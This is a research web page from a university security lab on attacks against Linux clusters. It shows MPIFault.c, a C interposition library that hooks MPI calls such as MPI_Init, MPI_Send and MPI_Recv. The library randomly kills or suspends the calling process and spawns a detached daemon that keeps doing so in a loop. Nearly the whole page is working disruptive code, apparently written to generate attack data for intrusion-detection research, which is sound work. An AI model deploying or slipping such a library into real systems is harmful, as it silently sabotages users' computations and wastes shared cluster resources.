Center for Computer Security Research, Mississippi State University Attacks on High Performance Linux Clusters
Introduction
Publications
Attacks
Related Data Sets
Contact Information
Links
MPIFault.c
/*****************************************************************************
MPIFault.c: Interposition library to capture function calls from the MPI
	and attack the system by slowing down the process or killing it

By:
	Miguel Torres
	Computer Science, Mississippi State University
	July 2002

Based on:
	Profiling and tracind gynamic library usage via interposition (Timothy Curry)
	Generation of application level audit data via library interposition (Kuperman and
		Spafford, 1999)
	The Thesis work by German Florez at the CCSR at Mississippi State University
******************************************************************************/
#include <dlfcn.h> 
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <time.h>
#include <mpi.h>
#include <sys/utsname.h>
#include "randomlib.h"

// For Random Generation
#include "randomlib.h"
// Sets the Seeds for the random generator
#define RANDOM (double)random()/RAND_MAX
//#define RANDOM (double)random((time(NULL))%31328)/RAND_MAX

#define INIT_RANDS \
	srand(time(NULL)); \
    	RandomInitialise((int)(time(NULL)*RANDOM)%31328,(int)(time(NULL)*RANDOM)%30081);


// WEIBULL DISTRIBUTION PARAMETERS A>0, B>0
#define _ALPHA 1.0
#define _BETA  1.0



// Probability of start an attack
#define KILLPROC_ 1 // from 1 to 100
#define SLEEPPROC_ 10 // from 1 to 100

#define FALSE	0
#define TRUE	1

#define  MPILIBRABRY  "/usr/lib/libmpipro.so"

static int DoProfile2=TRUE;
static int first_time=TRUE;


#ifdef  ATTACK

// Daemon function (MPI_INIT)
void Daemon();
// Attack of MPI functions
void attackKillorSleep();

/****************MAIN FUNCTIONS**********************************************/

int MPIAPI_C MPI_Init(int *argc,char ***argv){
	typedef int MPIAPI_C (*function_type) (int *argc,char ***argv);
	static function_type function=NULL;
	static char* function_name="MPI_Init";

	int retval;

	DoProfile2=FALSE;
	#ifdef PRINT_OUTPUT
		printf("_MPI_INIT Profiling\n");
		fflush(stdout);
	#endif

	function = (function_type) dlsym(RTLD_NEXT,function_name);
	// Executes the REAL MPI function
	retval=((*function)(argc,argv));

	// Attack
	/*
	** Seed the random number generator with the current time
	** of day if we haven't done so yet.
	*/
	if( first_time ){
		first_time = FALSE;
		// Random Generation
		INIT_RANDS
	}
	#ifdef PRINT_OUTPUT
		printf("_MPI_INIT Attacking\n");
		fflush(stdout);
	#endif
	Daemon ();

	DoProfile2 =TRUE;

	return retval;

}


/*************************FUNCTIONS TO PROFILE***********************************************/
int MPIAPI_C MPI_Comm_rank (MPI_Comm comm,int *rank)
{
	typedef int(*function_type) (MPI_Comm comm,int *rank);
	static function_type function=NULL;
	static char* function_name="MPI_Comm_rank";

	int  retval;

	if (!function){
		function = (function_type) dlsym(RTLD_NEXT,function_name);
	}

	#ifdef PRINT_OUTPUT
		printf("_MPI_COMM_RANK Profiling\n");
		fflush(stdout);
	#endif

	if (DoProfile2){
		int size;
		DoProfile2=FALSE;
		// Attack
		/*
		** Seed the random number generator with the current time
		** of day if we haven't done so yet.
		*/
		if( first_time ){
			first_time = FALSE;
			// Random Generation
			INIT_RANDS
		}
		#ifdef PRINT_OUTPUT
			printf("_MPI_COMM_RANK Attacking\n");
			fflush(stdout);
		#endif
		attackKillorSleep();
		//execute the funtion and then profile
		retval = ((*function)(comm,rank));
		DoProfile2 =TRUE;
	}
	else //do not profile, only execute
		retval = ((*function)(comm,rank)); 

	return (retval);
}


int MPIAPI_C MPI_Recv (void *buf,int count,MPI_Datatype datatype,int source,int tag,MPI_Comm comm,MPI_Status *status)
{
	typedef int(*function_type) (void *buf,int count,MPI_Datatype datatype,int source,int tag,MPI_Comm comm,MPI_Status *status);
	static function_type function=NULL;
	static char* function_name="MPI_Recv";

	int  retval;

	if (!function){
		function = (function_type) dlsym(RTLD_NEXT,function_name);
	}

	#ifdef PRINT_OUTPUT
		printf("_MPI_RECV Profiling\n");
		fflush(stdout);
	#endif

	if (DoProfile2){
		// Attack
		DoProfile2 = FALSE;
		/*
		** Seed the random number generator with the current time
		** of day if we haven't done so yet.
		*/
		if( first_time ){
			first_time = FALSE;
			// Random Generation
			INIT_RANDS
		}

		#ifdef PRINT_OUTPUT
			printf("_MPI_RECV Attacking\n");
			fflush(stdout);
		#endif
		attackKillorSleep();

		retval = ((*function)(buf,count,datatype,source,tag,comm,status));
		DoProfile2 =TRUE;
	}
	else //do not profile, only execute
		retval = ((*function)(buf,count,datatype,source,tag,comm,status)); 

	return (retval);
}


int MPIAPI_C MPI_Reduce (void *sendbuf,void *recvbuf,int count,MPI_Datatype datatype,MPI_Op op,int root,MPI_Comm comm)
{
	typedef int(*function_type) (void *sendbuf,void *recvbuf,int count,MPI_Datatype datatype,MPI_Op op,int root,MPI_Comm comm);
	static function_type function=NULL;
	static char* function_name="MPI_Reduce";

	int  retval;

	if (!function){
		function = (function_type) dlsym(RTLD_NEXT,function_name);
	}

	#ifdef PRINT_OUTPUT
		printf("_MPI_REDUCE Profiling\n");
		fflush(stdout);
	#endif

	if (DoProfile2){
		// Attack
		DoProfile2 =FALSE;
		/*
		** Seed the random number generator with the current time
		** of day if we haven't done so yet.
		*/
		if( first_time ){
			first_time = FALSE;
			// Random Generation
			INIT_RANDS
		}
		#ifdef PRINT_OUTPUT
			printf("_MPI_REDUCE  Attacking\n");
			fflush(stdout);
		#endif
		attackKillorSleep();
		//execute the funtion and then profile
		retval = ((*function)(sendbuf,recvbuf,count,datatype,op,root,comm));
		DoProfile2 =TRUE;
	}
	else //do not profile, only execute
		retval = ((*function)(sendbuf,recvbuf,count,datatype,op,root,comm)); 

	return (retval);
}


int MPIAPI_C MPI_Send (void *buf,int count,MPI_Datatype datatype,int dest,int tag,MPI_Comm comm)
{
	typedef int(*function_type) (void *buf,int count,MPI_Datatype datatype,int dest,int tag,MPI_Comm comm);
	static function_type function=NULL;
	static char* function_name="MPI_Send";

	int  retval;

	if (!function){
		function = (function_type) dlsym(RTLD_NEXT,function_name);
	}

	#ifdef PRINT_OUTPUT
		printf("_MPI_SEND Profiling\n");
		fflush(stdout);
	#endif

	if (DoProfile2){
		// Attack
		DoProfile2 =FALSE;
		/*
		** Seed the random number generator with the current time
		** of day if we haven't done so yet.
		*/
		if( first_time ){
			first_time = FALSE;
			// Random Generation
			INIT_RANDS
		}
		#ifdef PRINT_OUTPUT
			printf("_MPI_SEND Attacking\n");
			fflush(stdout);
		#endif
		attackKillorSleep();

		//execute the funtion and then profile
		retval = ((*function)(buf,count,datatype,dest,tag,comm));
		DoProfile2 =TRUE;
	}
	else //do not profile, only execute
		retval = ((*function)(buf,count,datatype,dest,tag,comm)); 

	return (retval);
}


int MPIAPI_C MPI_Irecv (void *buf,int count,MPI_Datatype datatype,int source,int tag,MPI_Comm comm,MPI_Request *request)
{
	typedef int(*function_type) (void *buf,int count,MPI_Datatype datatype,int source,int tag,MPI_Comm comm,MPI_Request *request);
	static function_type function=NULL;
	static char* function_name="MPI_Irecv";

	int  retval;

	if (!function){
		function = (function_type) dlsym(RTLD_NEXT,function_name);
	}

	#ifdef PRINT_OUTPUT
		printf("_MPI_IRECV Profiling\n");
		fflush(stdout);
	#endif

	if (DoProfile2){
		// Attack
		DoProfile2 = FALSE;
		/*
		** Seed the random number generator with the current time
		** of day if we haven't done so yet.
		*/
		if( first_time ){
			first_time = FALSE;
			// Random Generation
			INIT_RANDS
		}

		#ifdef PRINT_OUTPUT
			printf("_MPI_IRECV Attacking\n");
			fflush(stdout);
		#endif
		attackKillorSleep();

		retval = ((*function)(buf,count,datatype,source,tag,comm,request));
		DoProfile2 =TRUE;
	}
	else //do not profile, only execute
		retval = ((*function)(buf,count,datatype,source,tag,comm,request)); 

	return (retval);
}

int MPIAPI_C MPI_Isend (void *buf,int count,MPI_Datatype datatype,int dest,int tag,MPI_Comm comm, MPI_Request *request)
{
	typedef int(*function_type) (void *buf,int count,MPI_Datatype datatype,int dest,int tag,MPI_Comm comm,MPI_Request *request);
	static function_type function=NULL;
	static char* function_name="MPI_Isend";

	int  retval;

	if (!function){
		function = (function_type) dlsym(RTLD_NEXT,function_name);
	}

	#ifdef PRINT_OUTPUT
		printf("_MPI_SEND Profiling\n");
		fflush(stdout);
	#endif

	if (DoProfile2){
		// Attack
		DoProfile2 =FALSE;
		/*
		** Seed the random number generator with the current time
		** of day if we haven't done so yet.
		*/
		if( first_time ){
			first_time = FALSE;
			// Random Generation
			INIT_RANDS
		}
		#ifdef PRINT_OUTPUT
			printf("_MPI_SEND Attacking\n");
			fflush(stdout);
		#endif
		attackKillorSleep();

		//execute the funtion and then profile
		retval = ((*function)(buf,count,datatype,dest,tag,comm,request));
		DoProfile2 =TRUE;
	}
	else //do not profile, only execute
		retval = ((*function)(buf,count,datatype,dest,tag,comm,request)); 

	return (retval);
}

// DAEMON

void Daemon ()
{
	int pid;
	/* Store the original parent id*/
	int originalPID=getpid();
	int i;


	#ifdef PRINT_OUTPUT
		printf("_Daemon Attacking\n");
		fflush(stdout);
	#endif

	pid = fork();

	if (pid < 0) {
		#ifdef PRINT_OUTPUT
		printf("_Daemon Error No child created 1\n");
		fflush(stdout);
		#endif

		exit(1); /* error encountered, no child has been created!*/
	}

	if (pid != 0) {
		#ifdef PRINT_OUTPUT
		printf("_Daemon Return to Parent\n");
		fflush(stdout);
		#endif

		return; /* this is the parent, and hence shnuld be terminated*/
	}

	/* make the process a group leader, session leader, and lose control tty */
	setsid(); 

	/* close STDOUT, STDIN, STDERR */
	close(STDIN_FILENO);
	close(STDOUT_FILENO);
	close(STDERR_FILENO);
	/* close STDOUT, STDIN, STDERR */
	
	/* ignore SIGHUP that will be sent to a child of the process */
	signal(SIGHUP, SIG_IGN); 

	umask(0); /* lose file creation mode mask inherited by parent */
	chdir("/"); /* change to working dir */

	pid = fork();
	if (pid < 0) {
		#ifdef PRINT_OUTPUT
		printf("_Daemon Error No Child Created 2\n");
		fflush(stdout);
		#endif

		exit(1); /* fork() failed, no child process was created! */
	}

	if (pid != 0) {
		#ifdef PRINT_OUTPUT
		printf("_Daemon Return to GrandParent\n");
		fflush(stdout);
		#endif

		exit(0); /* this is the parent, hence should exit */
	}

	/* this is the child process of the child process of the actual calling process */
	/* and can safely be called a grandchild of the original process */ 

	signal(SIGPIPE, SIG_IGN); 
	/* ignore SIGPIPE, for reading, writing to non-opened pipes
	every program using pipes should ignore this signal for 
	being on the safe side */
	/* this is the main daemon process, also the grand child process */
	

	

	while(1){
		double randNumber = RandomDouble(0.0,100.0);
#ifdef PRINT_OUTPUT
		printf("First (kill):%d\n",randNumber);
		fflush(stdout);
#endif
		if(randNumber<=KILLPROC_)
			/* KILL THE PARENT PROCESS */
			kill(originalPID,SIGKILL);
		else{
			randNumber = RandomDouble(0.0,100.0);
#ifdef PRINT_OUTPUT
			printf("Second (sleep): %d\n",randNumber);
			fflush(stdout);
#endif
			if(randNumber<=SLEEPPROC_){
				/* HALTS THE PARENT PROCESS FOR A SPECIFIC AMOUNT OF TIME between 3 to 10 seconds */
				kill(originalPID,SIGSTOP);
				randNumber = RandomWeibull(_ALPHA,_BETA);
#ifdef PRINT_OUTPUT
				printf("Time to Sleep: %d\n",randNumber);
				fflush(stdout);
#endif
				usleep ((int)randNumber*1000000);
				kill(originalPID,SIGCONT);
			}
			else{
				randNumber = RandomWeibull(_ALPHA,_BETA);
#ifdef PRINT_OUTPUT
				printf("Time to Sleep Daemon: %d\n",randNumber);
				fflush(stdout);
#endif

				usleep ((int)randNumber*1000000);
			}
		}
	}


	exit(0);
}


/* void attackKillorSleep() attacks a function by delaying its execution
	or by killing the process that calls it*/

void attackKillorSleep(){
	/* Store the original parent id*/
	int originalPID=getpid();
	double randNumber = RandomDouble(0.0,100.0);

	#ifdef PRINT_OUTPUT
		printf("First (kill):%d\n",randNumber);
		fflush(stdout);
	#endif
	if(randNumber<=KILLPROC_){
		/* KILL THE PARENT PROCESS */
		kill(originalPID,SIGKILL);
	}
	else{
		randNumber = RandomDouble(0.0,100.0);
		#ifdef PRINT_OUTPUT
			printf("Second (sleep): %d\n",randNumber);
			fflush(stdout);
		#endif
		if(randNumber<=SLEEPPROC_){
			/* HALTS THE PARENT PROCESS FOR A SPECIFIC AMOUNT OF TIME between 3 to 10 seconds */
			kill(originalPID,SIGSTOP);
			randNumber = RandomWeibull(_ALPHA,_BETA);
			#ifdef PRINT_OUTPUT
				printf("Time to sleep: %d\n",randNumber);
				fflush(stdout);
			#endif
			usleep ((int)randNumber*1000000);
			kill(originalPID,SIGCONT);
		}
	}
}

#endif




syntax highlighted by Code2HTML, v. 0.9.1

Questions and comments about this web site may be directed to the webmaster at rwm8@cse.msstate.edu